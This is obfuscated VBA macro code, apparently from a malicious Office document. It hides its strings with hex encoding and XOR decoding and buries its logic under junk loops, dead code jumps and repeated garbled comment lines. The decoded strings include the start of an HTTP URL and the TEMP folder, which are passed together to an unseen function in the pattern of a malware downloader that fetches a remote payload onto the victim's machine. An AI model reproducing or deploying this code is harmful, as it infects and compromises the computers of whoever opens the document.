'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
ibjNKnpohnk = XORI(Hextostring("292522085C58462038241B14160F352139140F04016F323915491D1A6E333F1648121124"), Hextostring("41515678667769"))
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 165992 = 165992 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 7371 < 69 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim FywxKYXo As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim EVpDzoeV As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For EVpDzoeV = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next EVpDzoeV
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
FywxKYXo = 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While FywxKYXo < 24
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim kmGkosUz As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For kmGkosUz = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next kmGkosUz
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: FywxKYXo = FywxKYXo + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim WaCPZYGA As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For WaCPZYGA = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next WaCPZYGA
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim nhDvPFZP As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For nhDvPFZP = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next nhDvPFZP
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox (XORI(Hextostring("2B0B1C213C05343E7C4D"), Hextostring("594E746F706E73")))
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len(XORI(Hextostring("0E3A1C0E04243C287D58417F"), Hextostring("6B7248"))) = Len(XORI(Hextostring("0E1E361F1B062F37"), Hextostring("69796F"))) Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim hWMZVzbX As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim uQHmYWmh As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For uQHmYWmh = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next uQHmYWmh
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
hWMZVzbX = 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While hWMZVzbX < 19
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim SBRdAFNL As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For SBRdAFNL = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next SBRdAFNL
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: hWMZVzbX = hWMZVzbX + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim ZqrfVtfw As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For ZqrfVtfw = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next ZqrfVtfw
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim JxavsRDV As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For JxavsRDV = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next JxavsRDV
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox (XORI(Hextostring("2C3A19201B684A6E48"), Hextostring("69486B4F")))
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim XhztsmKR As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim zhuqMNmZ As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For zhuqMNmZ = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next zhuqMNmZ
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
XhztsmKR = 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While XhztsmKR < 73
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim QoUiRlrp As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For QoUiRlrp = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next QoUiRlrp
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: XhztsmKR = XhztsmKR + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim yDZnlAaz As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For yDZnlAaz = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next yDZnlAaz
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim bATfjNZT As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For bATfjNZT = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next bATfjNZT
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
    PZQGZXPGNNP ibjNKnpohnk, Environ(XORI(Hextostring("212F0925"), Hextostring("756A44756C7A"))) & XORI(Hextostring("2F3131341401262B253E0C035D171E03"), Hextostring("73726666474F"))
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End Sub


Public Function XORI(ByVal aOjaQe As String, ByVal YQKwYuGU As String) As String
Dim TGKkYVPifBY As Long
For TGKkYVPifBY = 1 To Len(aOjaQe)

GoTo AdqmhoNT
Dim uiLGZEKc As String
Open "YGNKIS.YSA" For Binary As 11
Dim IZsEyJFr, fcMVlsTW, yFPOplWv As String
IZsEyJFr = "           YTXGVU               "
fcMVlsTW = LTrim(IZsEyJFr)
yFPOplWv = RTrim(fcMVlsTW)

Put #11, , uiLGZEKc
Dim hefizprl, RLlSiWhz, urIYJlBx As String
hefizprl = "           VPUKQG               "
RLlSiWhz = LTrim(hefizprl)
urIYJlBx = RTrim(RLlSiWhz)

Close #11
Dim cvimYzOE, xpQuRrgz, IhcpyJld As String
cvimYzOE = "           PVKLRE               "
xpQuRrgz = LTrim(cvimYzOE)
IhcpyJld = RTrim(xpQuRrgz)

AdqmhoNT:

Dim nRBKkNhl, wTorQtDm, rqpNZcDP As String
nRBKkNhl = "           DLCLQA               "
wTorQtDm = LTrim(nRBKkNhl)
rqpNZcDP = RTrim(wTorQtDm)

XORI = XORI & Chr(Asc(Mid(YQKwYuGU, IIf(TGKkYVPifBY Mod Len(YQKwYuGU) <> 0, TGKkYVPifBY Mod Len(YQKwYuGU), Len(YQKwYuGU)), 1)) Xor Asc(Mid(aOjaQe, TGKkYVPifBY, 1)))
Next TGKkYVPifBY
End Function

Public Function Hextostring(ByVal tpBESoq As String) As String
Dim JEhxPkDxnS As String
Dim cbgQJ As String
Dim vIHYbeVuJCmUQr As Long
For vIHYbeVuJCmUQr = 1 To Len(tpBESoq) Step 2

GoTo YPYMQgEu
Dim sTfgVPmB As String
Open "GQGDUO.BED" For Binary As 49
Dim ERgldrvo, xWttrqDS, zHDbjTTE As String
ERgldrvo = "           EYCPZD               "
xWttrqDS = LTrim(ERgldrvo)
zHDbjTTE = RTrim(xWttrqDS)

Put #49, , sTfgVPmB
Dim YRTJvaQE, oHMQivmV, cTNhfpYY As String
YRTJvaQE = "           DOMKQR               "
oHMQivmV = LTrim(YRTJvaQE)
cTNhfpYY = RTrim(oHMQivmV)

Close #49
Dim pTkYCmaQ, wQrOborX, IJHSaCuu As String
pTkYCmaQ = "           PSAIAT               "
wQrOborX = LTrim(pTkYCmaQ)
IJHSaCuu = RTrim(wQrOborX)

YPYMQgEu:

Dim XTYfnPzl, JYHbWFvl, DUNQhLXm As String
XTYfnPzl = "           RRKSTS               "
JYHbWFvl = LTrim(XTYfnPzl)
DUNQhLXm = RTrim(JYHbWFvl)

JEhxPkDxnS = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(tpBESoq, vIHYbeVuJCmUQr, 2)))

GoTo fLMGFIDU
Dim uoQnTGzq As String
Open "YGXQOK.BZK" For Binary As 11
Dim fKCUddaJ, uoDlrljm, SrwDjFid As String
fKCUddaJ = "           XDGJZK               "
uoDlrljm = LTrim(fKCUddaJ)
SrwDjFid = RTrim(uoDlrljm)

Put #11, , uoQnTGzq
Dim DkZVDFqk, hZJKxsMQ, RlCwACyl As String
DkZVDFqk = "           HZLWLC               "
hZJKxsMQ = LTrim(DkZVDFqk)
RlCwACyl = RTrim(hZJKxsMQ)

Close #11
Dim bdfMPyct, cCJYIirE, PeEOpXuF As String
bdfMPyct = "           QKWYYT               "
cCJYIirE = LTrim(bdfMPyct)
PeEOpXuF = RTrim(cCJYIirE)

fLMGFIDU:

Dim lkIeBfVt, gkKglkwu, qlznDxLi As String
lkIeBfVt = "           HCLYJN               "
gkKglkwu = LTrim(lkIeBfVt)
qlznDxLi = RTrim(gkKglkwu)

cbgQJ = cbgQJ & JEhxPkDxnS
Next vIHYbeVuJCmUQr

GoTo ZpxYWmiI
Dim wndkSAxs As String
Open "DVPYSQ.DWQ" For Binary As 44
Dim dvLBvwbV, KlnlQHkH, QPktZCYl As String
dvLBvwbV = "           WEDNIX               "
KlnlQHkH = LTrim(dvLBvwbV)
QPktZCYl = RTrim(KlnlQHkH)

Put #44, , wndkSAxs
Dim eeayyYgI, TggNGrVz, LtmEWGpP As String
eeayyYgI = "           JPNJDN               "
TggNGrVz = LTrim(eeayyYgI)
LtmEWGpP = RTrim(TggNGrVz)

Close #44
Dim KItEUXPL, rFJYoOFr, hWEOQcJg As String
KItEUXPL = "           MEHVRN               "
rFJYoOFr = LTrim(KItEUXPL)
hWEOQcJg = RTrim(rFJYoOFr)

ZpxYWmiI:

Dim DZxVtVuq, OEYpbeRs, RRHwMuzf As String
DZxVtVuq = "           NZDRML               "
OEYpbeRs = LTrim(DZxVtVuq)
RRHwMuzf = RTrim(OEYpbeRs)

Hextostring = cbgQJ
End Function